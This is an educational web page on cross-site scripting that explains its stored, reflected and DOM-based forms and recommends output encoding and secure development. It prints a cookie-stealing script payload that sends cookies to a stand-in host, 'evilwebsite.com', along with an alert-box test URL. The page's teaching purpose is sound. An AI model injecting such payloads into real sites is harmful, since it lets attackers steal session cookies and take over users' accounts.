Cross-Site Scripting (XSS)

What is Cross-Site Scripting?

Cross-Site Scripting (XSS) is an attack that injects malicious executable scripts into the code of a trusted application or website. XSS attacks are often exploited by sending a malicious link to a user and enticing them to click it. Due to a lack of proper data sanitization, the malicious link executes the attacker’s chosen code on the user’s system. As a result, the attacker can steal the user’s active session cookie. Here’s an example:

<script> i=new/**/Image();isrc=http://evilwebsite.com/log.php?'+document.cookie+' '+document.location</script>

While the payload is usually JavaScript, XSS can take place using any client-side language.

How does Cross-Site Scripting work?

All XSS attacks take place when an attacker injects malicious script as a part of user-provided input. They can also carry out an attack by modifying a request. If the Web application is vulnerable to XSS attacks, user-supplied input executes as code. As a result of the example below, the script displays a message box with XSS text.

http://www.site.com/page.php?var=<script>alert('xss');</script>

There are many ways to trigger an XSS attack. To name a few examples, the execution triggers automatically when the page loads or when a user hovers over specific elements of the page (e.g., hyperlinks).

Potential consequences of XSS attacks include:

  • Capturing the key strokes of a user.
  • Re-directing a victim to a malicious website.
  • Running Web browser-based exploits (e.g., crashing the browser).
  • Obtaining cookie information of a user who is logged into a website. Thus, compromising the victim’s account.

In some cases, the XSS attack leads to a complete compromise of the victim’s account. Attackers can trick users into entering credentials on a fake form, providing them to the attacker.

What are the different Cross-Site Scripting approaches?

Stored XSS. Takes place when the malicious payload is stored in the database. It renders to other users when data is requested—if there is no output encoding or sanitization.

Reflected XSS. Occurs when a Web application sends attacker-provided strings to a victim’s browser so that the browser executes part of the string as code. The payload echoes back in response since it doesn’t have any server-side output encoding.

DOM-based XSS. Takes place when the attacker injects script into the response. They are able to read and manipulate the document object model (DOM) data to craft a malicious URL. The attacker can then use this URL to trick a user to click it. If the user clicks the link, the attacker can then steal an active user’s session information, keystrokes, etc. Unlike Stored XSS and Reflected XSS, an entire DOM-based XSS attack happens on the client browser (i.e., nothing goes back to server).

How can you avoid Cross-Site Scripting vulnerabilities?

It’s important to implement security measures early in the application’s development life cycle. For example, carry out software design phase security activities with architecture risk analysis and threat modeling. It is equally important to conduct security testing once application development is complete.

Strategies to prevent XSS attacks include:

Protect your organization by following secure development guidelines—building security in at all phases of the application’s development. Output encoding is also key to preventing XSS vulnerabilities. Make use of output encoding libraries that are relevant to the programming languages and frameworks your organization utilizes. Developers must also stay up-to-date with the XSS prevention best practices.